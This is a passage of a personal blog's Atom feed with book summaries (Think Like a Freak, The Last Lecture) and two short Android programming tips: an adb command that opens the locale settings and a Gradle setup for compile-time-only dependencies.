<p>We usually look for the proximate cause of the problem and most of the times, it&rsquo;s correct. Except, for complicated problems, the root cause is usually more complicated. For example, legalization of abortions in the 1970s caused a drop in crime rate in 1990s since fewer children were being brought up in undesirable environments. In Germany, Protestants make higher money than Catholics since they work more hours, more likely to be self-employed and their women are more likely to be working full-time. African-Americans in the USA have a higher rate of heart diseases since they contain a higher percentage of salt (since slaves selected from Africa have a higher chance of surviving passage to the USA in ships) - the evidence is still being debated. Ulcer treatment market ($8B in 1994) was satisfied with treating symptoms of ulcer rather than showing interest in solving the cause. The conventional wisdom was the no one bacteria can survive in the stomach. The researchers were ignoring the counter-evidence in front of their eyes.   
    
    
<a href="https://en.wikipedia.org/wiki/Barry_Marshall?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Barry Marshall</a> challenged the status quo, isolated the bacteria and was able to cause ulcers to himself by swallowing the bacteria ( <em>Helicobacter pylori</em>). Now, it is accepted that gut bacteria have huge implications on the health and fecal transplant is used for curing intestinal infections.</p>
<h2 id="think-like-a-child">Think like a child</h2>
<p>Small questions are usually less explored and hence, are virgin territories of exploration. It&rsquo;s easy to have more certainty of the prediction when aiming for smaller problems, triggering changes to study behavior in case of smaller problems is much easier. Raw talent is overrated, the best performers are the one who enjoys the job and improves due to relentless practice. People spend more time doing fun activities like spending, buying lottery tickets, and not boring things like saving.   
    
    
<a href="https://www.savetowin.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Prize-linked-savings</a> makes the whole process of savings fun by adding a lottery component to it. Having fun, looking at small things and not fearing the obvious are all childlike behaviors which have been frowned upon in adults.</p>
<h2 id="like-giving-candy-to-a-baby-incentives">Like giving candy to a baby (incentives)</h2>
<p>Humans respond to incentives. Different forms of incentives are financial, moral, social and herd mentality. Though people hate admitting, herd-mentality works the best.
A financial incentive can produce   
    
    
<a href="https://en.wikipedia.org/wiki/Cobra_effect?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">cobra effect</a>. Appealing to moral outrage (&ldquo;our forests are being destroyed by the theft of petrified wood ~14 tons a year,  mostly small pieces at a time&rdquo;) encourages people to do something since everyone else is doing it too, I should get my share too (private benefit prioritized over communal good). Brian Mullaney, the founder of Smile Train (fixing cleft lip at the time of birth in developing countries), gave an option to donors that if they make one donation, they can opt for never being asked again for another donation. Most didn&rsquo;t choose that option, but they preferred the fact they were given an option to opt-out, and they preferred to remained opt-in, and those who opted out saved costs of future mailing for the NGO.
<strong>Frames of relationships</strong> - financial (buyer and seller), us-vs-them (sports, politics), loved-one (in friends and family, when things are going smoothly, it becomes us-vs-them, when things are rough) and authority-figure (parents, teachers, bosses). All relationships expect different incentives (eg. paying in financial one and thanking a person in case of loved-one). <strong>What&rsquo;s incredibly useful is to develop a relationship in one frame and nudge it into the next one.</strong> Zappos converted a financial relationship to a quasi-friendly relationship with its customers by having 24x7 customer service, posting the phone number on every page of the site and providing unusually good customer service. Carbon credits were offered to factories to destroy greenhouse gases, a lot of factories in China started producing HFC-23 just to get carbon credits for destroying them when UN changed the rules, these factories might just end up releasing their gas store into atmosphere leading to even more emissions.</p>
<p>Why most incentives backfire?</p>
<ol>
<li>People scheming to game the incentives are way more numerous and way smarter.</li>
<li>People think differently, therefore, a mental model of what behavior change it would produce could be different than expected.</li>
<li>The assumption that people&rsquo;s behavior will not change once the incentive is provided is an incorrect one, in fact, behavior can change in an unexpected fashion.</li>
</ol>
<p>Getting the right incentive scheme</p>
<ol>
<li>Figure out what people care about (revealed preferences) not what they say they care about (declared preferences).</li>
<li>Incentivize on dimensions which are valuable for them but cheap for you.</li>
<li>Keep an eye on feedback (pay attention to responses) and be ready to change, if responses are unexpected.</li>
<li>Switch the framework from adversarial to cooperative (if possible).</li>
<li>Never assume that people will do what&rsquo;s the right thing to do.</li>
<li>Some will still be able to game the system, applaud their ingenuity rather than cursing the greed.</li>
</ol>
<h2 id="what-do-king-solomon-and-david-lee-roth-have-in-common">What do King Solomon and David Lee Roth have in common</h2>
<p>(Ans: Strong understanding of game theory).</p>
<p>A pooling equilibrium is a situation where different types of people (say liar and honest guy) will act similarly, an incentive can cause them to respond differently and, therefore, leading to separating equilibrium.
Rather than making job applications easier, employees can make them harder (just like colleges), which will make them easier to weed out candidates.
Zappos implies a different way by offering <code>2000$ to</code> any employee who wants to quit (and becomes ineligible for future employment).
Since bad employees cost about $25, 000, so, Zappos saved a lot by doing that.
Nigerian scam emails still use the name of Nigeria to weed out everyone who knows about these scams and only get responses from the most gullible ones.
By using the name of Nigeria and writing unrealistic sums of money, they create the <em>incentive</em> to <em>separate</em> the gullible from non-gullible ones.
One way to stop them is to write an automated bot which replies to these emails and wastes scammers time.
In Superfreakonomics, it was mentioned that suicide bombers in Britain don&rsquo;t buy life insurance since monthly payments would be a waste of money, by publishing this openly,
it caused potential terrorists to buy insurance from their banks (which is a <em>convenient</em> way to an attempt to hide their tracks) except no one buys insurance from their banks (they buy from broker or insurer where it&rsquo;s <em>cheaper</em>),
revealing this in Superfreakonomics was a scheme to <em>separate</em> potential terrorists from normal people (who would buy insurance).</p>
<h2 id="how-to-persuade-people-who-dont-want-to-be-persuaded">How to persuade people who don&rsquo;t want to be persuaded</h2>
<p>If possible, avoid that, it&rsquo;s much harder than thinking about problems and solving them.</p>
<ol>
<li>Understand its really hard (even harder if a person is more educated since s/he is more confident and dogmatic).</li>
<li>It&rsquo;s important to see how the argument will be perceived rather than what&rsquo;s being said - if it does not resonate with the listener, it does not matter how indisputable and logically correct it is.</li>
<li>Never pretend your argument is perfect - since that makes it sound unrealistic.</li>
<li>Acknowledge the strength of an opponent&rsquo;s argument - if you ignore his argument, he might decide not to engage at all.</li>
<li>Do not insult the opponent - since it will strengthen the adversarial situation.</li>
<li>Tell the stories (not anecdotes) - since humans relate to them and they can create long-lasting impressions.</li>
</ol>
<h2 id="the-upside-of-quitting">The upside of quitting</h2>
<p>People avoid quitting due to three reasons</p>
<ol>
<li>They think its a sign of failure</li>
<li>Sunk costs - since already so much of resources(time and money) is invested, people invest more to get value out of already invested resources.</li>
<li>Opportunity cost - investing resources implies that they cannot be invested somewhere else, rarely people think about that missed opportunity.</li>
</ol>
<p>Winson Churchill said, &ldquo;Never give in&rdquo; (to Harrow school boys) and stood strongly against Nazis but he himself gave up a lot, he moved across parties, quit govt, spent years in the political wilderness and returned only when policy failure lead to all-out war. Premortem is a good practice where an institute before launching a project, thinks about all the ways it can fail. This prevents flushing out the doubts which no one is willing to say out loud.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">How to start locale settings activity on android from command-line</title><link href="https://ashishb.net/programming/how-to-start-locale-settings-activity-on-android-from-command-line/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/troublshooting-android-emulator-emulator-process-finished-with-exit-code-1/?utm_source=atom_feed" rel="related" type="text/html" title="Troubleshooting Android Emulator: Process finished with exit code 1"/><link href="https://ashishb.net/programming/circle-ci-vs-travis-ci/?utm_source=atom_feed" rel="related" type="text/html" title="Circle CI vs Travis CI"/><link href="https://ashishb.net/programming/android-fragment-related-pitfalls-and-how-to-avoid-them/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Fragment related pitfalls and how to avoid them"/><link href="https://ashishb.net/programming/android-handling-jpeg-images-with-exif-orientation-flags/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Handling JPEG images with Exif orientation flags"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><id>https://ashishb.net/programming/how-to-start-locale-settings-activity-on-android-from-command-line/</id><author><name>Ashish Bhatia</name></author><published>2014-08-18T23:41:42+00:00</published><updated>2014-08-18T23:41:42+00:00</updated><content type="html"><![CDATA[<blockquote>Solve language setting issues on your device effortlessly with a simple ADB command. Quickly access Locale Picker to fix undecipherable foreign languages.</blockquote><p>A useful and handy command specially when you during experimentation, you are stuck because of a changing language settings to an undecipherable foreign language.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>adb shell am start -n <span style="color:#2aa198">&#39;com.android.settings/.Settings\$LocalePickerActivity&#39;</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/android-development" term="android-development" label="android-development"/></entry><entry><title type="html">Book summary: The Last Lecture by Randy Pausch</title><link href="https://ashishb.net/book-summary/the-last-lecture/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/bogleheads-guide-to-investing/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Bogleheads guide to investing"/><link href="https://ashishb.net/book-summary/influence-the-psychology-of-persuasion/?utm_source=atom_feed" rel="related" type="text/html" title="Influence: The Psychology of Persuasion by Robert B. Cialdini"/><link href="https://ashishb.net/book-summary/think-like-a-freak/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Think like a freak by Steven Levitt and Stephen Dubner"/><link href="https://ashishb.net/book-summary/only-the-paranoid-survives/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Only The Paranoid Survives by Andrew Grove"/><link href="https://ashishb.net/book-summary/so-good-they-cant-ignore-you/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: So good they can't ignore you by Cal Newport"/><id>https://ashishb.net/book-summary/the-last-lecture/</id><author><name>Ashish Bhatia</name></author><published>2014-08-14T06:13:39+00:00</published><updated>2014-08-14T06:13:39+00:00</updated><content type="html"><![CDATA[<blockquote>Discover key life lessons from a must-read book. Learn about fairness, teamwork, setting priorities, and the power of positive language to transform your life.</blockquote><p>Some salient notes from the   
    
    
<a href="https://amzn.to/1owfZnK?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a></p>
<ol>
<li>If there&rsquo;s an elephant in the room, introduce it.</li>
<li>Even if you are in the position of strength, be fair.</li>
<li>Have something to bring to the table, people would be more welcoming of you to join in then.</li>
<li>Get the fundamentals right, fancy stuff does not work without that.</li>
<li>When you are screwing up and nobody says anything, they have given up on you (that&rsquo;s a really bad place to be).</li>
<li>Playing sports is not about learning the technicalities of the game but about teamwork, perseverance, sportsmanship, the value of hard work and ability to deal with adversity.</li>
<li>The brick walls are there for a reason. They are not there to keep us out, they are there to give us a chance to show how badly we want something.</li>
<li>Manage time explicitly like money</li>
<li>You can always change your plan, but only if you have one.</li>
<li>Ask yourself: are you spending your time on the right things</li>
<li>Delegate your work as much as possible</li>
<li>What&rsquo;s more fun than fulfilling one&rsquo;s own dreams is to help someone else fulfill their dreams.</li>
<li>Use positive language, &ldquo;When does this [Disney] park close?&rdquo; is to be responded with &ldquo;This park is open until 8 PM&rdquo;.</li>
<li>Don&rsquo;t complain about your problems, whining does not help, focus on working harder instead.</li>
<li>Almost everyone has a good side, if you wait long enough, it will come out.</li>
<li>Focus on what people do not what they say.</li>
<li>Experience is what you get when you didn&rsquo;t get what you wanted.</li>
<li>You can be an optimist if you have a contingency plan for what to do when all hell breaks loose.</li>
<li>A bad apology is worse than no apology.</li>
<li>No job is beneath you, do your best at whatever job you are put to.</li>
<li>Rights come with responsibilities.</li>
<li>If you lead your life the right way, the karma will take care of itself. The dreams will come to you.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/randy-pausch" term="randy-pausch" label="randy-pausch"/></entry><entry><title type="html">Android, Gradle and compile-time only dependencies</title><link href="https://ashishb.net/programming/android-gradle-and-compile-time-dependencies/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/android-command-line-gradle-and-testing/?utm_source=atom_feed" rel="related" type="text/html" title="Android command-line: gradle and testing"/><link href="https://ashishb.net/programming/how-to-start-locale-settings-activity-on-android-from-command-line/?utm_source=atom_feed" rel="related" type="text/html" title="How to start locale settings activity on android from command-line"/><link href="https://ashishb.net/programming/how-to-compile-android-emulator-on-ubuntu-13-10/?utm_source=atom_feed" rel="related" type="text/html" title="How to compile android emulator on ubuntu 13.10"/><link href="https://ashishb.net/programming/amazon-ses-python/?utm_source=atom_feed" rel="related" type="text/html" title="How to send HTML mails using Amazon SES (Simple Email Service)"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><id>https://ashishb.net/programming/android-gradle-and-compile-time-dependencies/</id><author><name>Ashish Bhatia</name></author><published>2014-08-09T01:22:12+00:00</published><updated>2014-08-09T01:22:12+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how to manage compile-time dependencies in Android using Gradle without native support. Follow our guide to optimize your app&rsquo;s build process efficiently.</blockquote><p>Android plugin for Gradle does not   
    
    
<a href="https://stackoverflow.com/a/16620014?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">support</a> Java-style compile time only dependencies.</p>
<p>After spending a few hours on trying to build android app targeted for Amazon SDK (without using Amazon&rsquo;s Android specific plugin but just their jar stubs for maps, ADM and Home widget), I finally found that the one way to support compile-time dependencies is following.</p>
<h3 id="for-application-project">For application project</h3>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Groovy
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-groovy" data-lang="groovy"><span style="display:flex;"><span>configurations <span style="color:#719e07">{</span>
</span></span><span style="display:flex;"><span>    provided
</span></span><span style="display:flex;"><span><span style="color:#719e07">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>dependencies <span style="color:#719e07">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// ...
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    provided <span style="color:#268bd2">fileTree</span><span style="color:#719e07">(</span>dir: <span style="color:#2aa198">&#34;${project.rootDir}/path_to_libs_dir&#34;</span><span style="color:#719e07">,</span> include: <span style="color:#2aa198">&#39;*.jar&#39;</span><span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Android&#39;s version of sourceSets.main.compileClasspath
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>android<span style="color:#719e07">.</span>applicationVariants<span style="color:#719e07">.</span>each <span style="color:#719e07">{</span> variant <span style="color:#719e07">-&gt;</span>
</span></span><span style="display:flex;"><span>    variant<span style="color:#719e07">.</span>javaCompile<span style="color:#719e07">.</span>classpath <span style="color:#719e07">+=</span> configurations<span style="color:#719e07">.</span>provided
</span></span><span style="display:flex;"><span><span style="color:#719e07">}</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h3 id="for-the-library-project">For the library project</h3>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Groovy
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-groovy" data-lang="groovy"><span style="display:flex;"><span>configurations <span style="color:#719e07">{</span>
</span></span><span style="display:flex;"><span>    provided
</span></span><span style="display:flex;"><span><span style="color:#719e07">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>dependencies <span style="color:#719e07">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// ...
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    compile <span style="color:#268bd2">fileTree</span><span style="color:#719e07">(</span>dir: <span style="color:#2aa198">&#39;libs&#39;</span><span style="color:#719e07">,</span> include: <span style="color:#2aa198">&#39;*.jar&#39;</span><span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span>    provided <span style="color:#268bd2">fileTree</span><span style="color:#719e07">(</span>dir: <span style="color:#2aa198">&#34;${project.rootDir}/patch_to_libs_dir&#34;</span><span style="color:#719e07">,</span> include: <span style="color:#2aa198">&#39;*.jar&#39;</span><span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>android<span style="color:#719e07">.</span>libraryVariants<span style="color:#719e07">.</span>all <span style="color:#719e07">{</span> variant <span style="color:#719e07">-&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// Exclude the jar files from making its way into the final apk.
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    <span style="color:#586e75">// Irrespective of what the path_to_libs_dir is the final jar files end up in libs dir.
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    variant<span style="color:#719e07">.</span>packageLibrary<span style="color:#719e07">.</span>exclude<span style="color:#719e07">(</span><span style="color:#2aa198">&#39;libs/lib1.jar&#39;</span><span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span>    variant<span style="color:#719e07">.</span>packageLibrary<span style="color:#719e07">.</span>exclude<span style="color:#719e07">(</span><span style="color:#2aa198">&#39;libs/lib2.jar&#39;</span><span style="color:#719e07">)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// ...
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span><span style="color:#719e07">}</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h3 id="references">References</h3>
<ol>
<li>  
    
    
<a href="https://stackoverflow.com/questions/16613722/gradle-configurations-not-working-as-expected-in-new-android-build-system?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://stackoverflow.com/questions/16613722/gradle-configurations-not-working-as-expected-in-new-android-build-system</a></li>
<li>  
    
    
<a href="https://stackoverflow.com/a/24157721?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://stackoverflow.com/a/24157721</a></li>
</ol>
